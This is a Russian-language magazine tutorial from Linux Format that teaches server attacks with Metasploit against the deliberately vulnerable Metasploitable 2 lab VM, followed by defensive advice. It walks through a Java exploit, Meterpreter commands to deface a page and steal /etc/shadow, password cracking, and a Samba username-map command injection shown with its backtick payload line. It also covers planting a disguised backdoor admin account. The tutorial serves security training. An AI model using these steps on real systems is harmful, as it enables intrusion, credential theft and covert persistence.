LXF163: Безопасность: Хак сервера
|
|
|
Metasploit: Побивайте хакеров их же оружием, изучив методы, которыми они пользуются
Безопасность: Хак сервера
Бен Эверард покажет вам несколько подлых трюков, которыми пользуются хакеры для взлома, и наилучшие способы остановить их.
Хакерство считается чем-то вроде черной магии, о которой принято говорить приглушенным голосом или на не поддающемся расшифровке 1337-жаргоне [Интернет-вариант английского у хакеров, заменяющих буквы на похожие цифры – так, 1337 значит leet, «элита», – прим. пер.] в подозрительных закоулках Интернета. Однако хороший сисадмин обязан научиться хотя бы основным хакерским умениям, чтобы быть в состоянии обеспечить эффективную защиту.
На этом уроке мы будем использовать Metasploit, web-клиент для управления и организации атак. Он идет в нескольких версиях; версия сообщества – которой мы и будем здесь пользоваться – бесплатная, но вам придется зарегистрироваться, чтобы получить ключ. В качестве альтернативы можете использовать Metasploit-Framework, инструмент командной строки с открытым кодом, для организации тех же самых атак.
Metasploit Community Edition можно загрузить с www.metasploit.com/download. Это любимый инструмент как начинающих хакеров (которые ценят в нем подборку эксплойтов и простой в использовании интерфейс), так и умудренных опытом профессионалов, которые ценят способность быстро организовывать новые атаки.
Для тестирования вторжения всегда нужна жертва, и в этом случае мы будем использовать Metasploitable 2, сознательно созданную уязвимой машину, чья цель – обучить распознавать вторжение. Она имеется на DVD; также можно загрузить ее с www.sourceforge.net/projects/metasploitable/files/Metasploitable2. Получив ее, пройдите через пошаговую настройку тестовой среды.
Создав эту среду, начнем хакерскую атаку! Metasploit работает над «проектами», и первое, что нам надо сделать – создать новый. Нацельте свой браузер на https://localhost:3790 и войдите в web-приложение. Затем перейдите в Project (вверху справа) > Create New Project [Проект > Создать новый проект]. Нужно будет дать ему имя и описание, но важным разделом на странице Project Settings [Настройки] является Network Range [Диапазон сети]. Он определяет IP-адреса для сканирования. То, что войдет сюда, зависит от диапазона сети на хосте [host-only] VirtualBox. По умолчанию это будет 192.168.56.1-255. Но если вы используете этот диапазон в своей обычной сети, вам, возможно, придется исправить его и здесь, и в VirtualBox. Введя все данные, щелкните по Create Project.
Теперь Metasploit переведет вас на страницу Overview [Обзор]. Щелкните по Scan… [Сканирование] затем Launch Scan [Запуск сканирования] для определения всех хостов в вашей сети. Обнаружится две машины: хост и виртуальная машина Metasploitable.
Зайдем на сервер
По завершении вернитесь в Overview, и вы должны увидеть в списке два хоста. Щелкните по 2 Hosts для просмотра, затем щелкните по IP-адресу Metasploitable для просмотра подробностей, обнаруженных Metasploit.
Во вкладке Vulnerabilities [Уязвимости] вы найдете уязвимость Java. Щелкните по первой ссылке в колонке Exploit [Эксплойт], затем – Run Module [Запустить модуль].
Это подвергнет уязвимость атаке для получения доступа к серверу. По завершении работы эксплойта щелкните по вкладке Session, затем Session 1, и, наконец, Command Shell для перехода в оболочку Meterpreter. Это интерфейс командной строки, специально разработанный для взаимодействия со взломанными серверами. Основная разница между ним и обычной оболочкой в том, что он работает как на хост-системе, так и на взломанном сервере, позволяя перенести информацию с одного на другой. Он задействует две рабочих директории: обычную рабочую директорию на сервере, а локальная рабочая директория – на локальной машине. Чтобы вывести их на экран, используйте
getwd
для распечатки директории на сервере, и
getlwd
Вы можете вывести полный список команд, введя help. В истинно хакерской манере посвятим нашу первую атаку совершению вандализма с главной страницей сервера, так что переместимся в соответствующие директории:
cd /var/www
lcd /home/ben
где /home/ben – это ваша домашняя директория на локальной машине. Затем захватим главную страницу сервера с помощью
download index.php
Файл index.php скопируется в вашу домашнюю директорию, и вы сможете отредактировать его по своему усмотрению и сделать с ним все, чего душа пожелает. Из-за прав доступа может оказаться, что надо использовать текстовый редактор от имени root, например, запустив sudo nano index.php (в локальном терминале, не в оболочке Meterpreter). Мы добавили строки
You’ve been pwnd by 83n’5 1337 h@x1n6 5Ki1Lz
</code>
в тело HTML. После соответствующей настройки можете вернуть ее на сервер, используя
upload index.php
Направив свой браузер на сайт сервера Metasploitable (в нашем случае – http://192.168.56.101), вы увидите результаты своих трудов (см. рис. 1).
Мы можем пойти на шаг дальше и подвергнуть атаке пользовательские пароли. Для этого сначала украдем файл shadow с хэшами паролей.
В оболочке Meterpreter введите
cd /etc
download shadow
Теперь на своей локальной машине взломайте пароли, используя John The Ripper. Обычно это приложение идет в пакете под названием john (он есть в репозиториях большинства дистрибутивов). Установив его, откройте локальный терминал и запустите
john shadow
JTR попытается взломать пароли, начав с подборки на основе словаря. Обычно вам приходится выключать все остальные приложения, чтобы высвободить для этого процесса большую часть системных ресурсов, но в данном случае это излишество. Шесть из семи паролей будут подобраны почти немедленно. На пароль root уйдет куда больше времени, но он нам не нужен. Используйте Ctrl + c, чтобы прервать взлом, как только получите пароль к msfadmin. Теперь подключитесь через ssh к компьютеру Metasploitable:
ssh msfadmin@192.168.56.101
Вы должны были получить пароль во время выполнения последнего шага (мы не будем делать все за вас!) Msfadmin имеет права администратора, и вы сможете создать оболочку root:
sudo bash
Теперь резвитесь как хотите! Конечно, если вы повредите систему, вам, прежде чем приступать к новым атакам, придется заново создавать виртуальный жесткий диск.
Одной из главных задач в хакерстве является обнаружение работающих на сервере уязвимостей. В предыдущей атаке Metasploit нашел для нас одну, но это случай редкий. Обычно приходится заниматься практически детективной работой или применять старый добрый метод проб и ошибок. В Metasploit перейдите в Analysis > Hosts [Анализ > Хосты] и щелкните по хосту Metasploitable. На новой странице вы увидите список сервисов. Попробуем подвергнуть атаке Samba.
Перейдите в Modules, введите Samba в Search Modules [Поиск модулей] и нажмите на Enter. У вас должна отобразиться серия модулей, которые могут работать (хотя многие из них не будут). Немного экспериментов – и мы обнаружим, что работает Samba “username map script” Command Execution.
Щелкните по ее ссылке в списке Modules, чтобы открыть новую страницу, перечисляющую ее опции. Измените Target Addresses [Целевые адреса], чтобы это был просто IP сервера Metasploitable, измените Payload Type с Meterpreter на Command Shell, и щелкните по Run Module. Откроется новая оболочка, но вместо интерфейса Meterpreter, который мы использовали раньше, мы попадем в более знакомую командную строку Bash. Запуск whoami объяснит нам, что мы root.
С правами root нам подвластно все. Помимо изменения данных на сервере, мы можем использовать его как часть более крупной атаки. Например, установим на нем John The Ripper и применим его мощь для взлома паролей. Однако сперва надо убедиться, что у нас есть постоянный доступ. Пользователи могут менять свои пароли, а сисадмины – обновлять программы в любое время, и мы должны быть готовы оставить себе лазейку на такой случай. Можно загрузить в систему троян, но проще будет создать собственного пользователя и заходить через ssh.
adduser sqladmin -M
adduser sqladmin admin
создаст пользователя sqladmin и даст ему права администратора (sudo). -M прикажет системе не создавать домашнюю директорию для пользователя – это поможет избежать лишних подозрений. Мы взяли «псевдоним» sqladmin – он звучит как имя системного пользователя и в любом отчете не покажется инородным.
Пауза на размышления
Но прежде чем пуститься в пляс, предвкушая, какое безобразие мы сейчас учиним, давайте вернемся на шаг назад и посмотрим, как работает скрипт.
Уязвимость кроется в скрипте Samba username map. Он не используется в настройке Samba по умолчанию и не сработает на многих системах Samba даже и с уязвимой версией сервера. Но если эта опция активирована, сервер передаст имя пользователя скрипту, который отображает имя пользователя, предоставленное удаленным клиентом, в имени, которое Samba должна использовать в качестве логина. Однако скрипт user map — это просто команда системе, и Samba не проверяет вводимых имен пользователей для любых символов оболочки перед отсылкой их скрипту.
Отыщите скрипт эксплойта usermap_script.rb в /opt/metasploit- 4.4.0/msf3/modules/exploits/multi/samba и откройте его в текстовом редакторе. Это скрипт Ruby, но не горюйте, если вы не знаете этого языка – он вполне понятен и не требует объяснений. Большинство скрипта составляют различные определения, а нижний раздел, под def exploit, выполняет всю грязную работу.
Фактически, ключ к этому взлому – всего одна строка:
username = “/=`nohup “ payload.encoded + “`”
Она создает имя пользователя-вредителя, которое затем отправляется жертве. nohup – это команда no hangup. Это означает, что ее исполнение продолжится и после того, как пользователь выйдет из системы. payload.encoded возвращает вредоносный код, который создает для нас оболочку. Значок ` обеспечивает выполнение оболочкой команды перед передачей результата скрипту user map. Однако пока она дойдет до этого скрипта (который даст сбой, потому что мы даже не пытались войти в систему, а просто использовали эту команду как лазейку), мы уже сделаем свое дело.
Конечный раздел просто отсылает имя пользователя жертве, чтобы посмотреть, каков будет ответ.
Например, если не особо злонамеренный хакер просто хочет сохранить копии файлов в текущей директории, он может прислать ls > steal.this. Тогда имя пользователя будет
/=`nohup ls > steal.this`
Если скрипт user map просто echo и не преобразовывает имя пользователя, а всего лишь повторяет его, то сервер Samba исполнит следующее:
echo /=`nohup ls > steal.this`
Запустив это на своей системе, вы обнаружите, что исполняется (весьма неопасный) пакет и создан файл steal.this с копией локальной директории. В нашей изначальной атаке этот пакет был заменен на тот, что запускает удаленную сессию оболочки. Однако в принципе в эту атаку можно включить все что угодно. Если вам не нужна интерактивная оболочка, отправьте скрипт для выполнения любых необходимых действий.
Защита
Но как же укрепить свой сервер для защиты от атак? Как мы не устаем повторять, лучшая защита – постоянное обновление ваших программ. Если вы работаете с сервером, прельстительным для хакерских атак, но не хотите ежедневно обновляться, старайтесь не пропускать самых важных обновлений, отслеживая сообщения о безопасности. У всех основных дистрибутивов есть сайты и списки рассылки, где имеются разделы, посвященные решению проблем безопасности. Для Debain их можно найти на www.debian.org/security, для Ubuntu — на www.ubuntu.com/usn, а для Red Hat – на access.redhat.com/security/updates/advisory. Если вы используете клон Red Hat Enterprise Linux, например, CentOS или Scientific Linux, то между объявлением и выходом заплатки может пройти некоторое время. Второй ключевой момент обеспечения безопасности сервера – сокращение количества доступных сервисов. Чем меньше портов открыто хакеру, тем меньше областей могут подвергнуться атаке. В терминологии теста на защиту от несанкционированного доступа это называется сокращением векторного пространства атаки.
Вы можете поискать в модулях Metasploit и посмотреть, сколько уязвимостей было в прошлом у каждого сервиса. Это поможет примерно рассчитать, сколько уязвимостей ждет вас в будущем. Инструменты типа SELinux усложнят злодеям выполнение их захватнических планов, но только при правильной настройке.
Когда речь идет о безопасности, злейшими врагами пользователей нередко бывают они сами. Во время первой атаки мы видели, как быстро взламываются ненадежные пароли. Вы можете настроить свою политику паролей в Linux, используя Pluggable Authentication Modules (PAM), но самый лучший способ проследить, что ваши пользователи должным образом защищены – попытаться взломать пароли. Запустите John The Ripper в вашем файле shadow и посмотрите, сколько будет взломано – пусть он поработает целую ночь, а еще лучше – все выходные, чтобы провести больше проверок. Если у вас есть под рукой видеокарта, OclHashcat может воспользоваться дополнительными ресурсами для обработки данных. Потом сообщите пользователям, что им стоит поработать над своими паролями.
В следующем месяце мы рассмотрим на сервере Metasploitable уязвимые web-приложения. |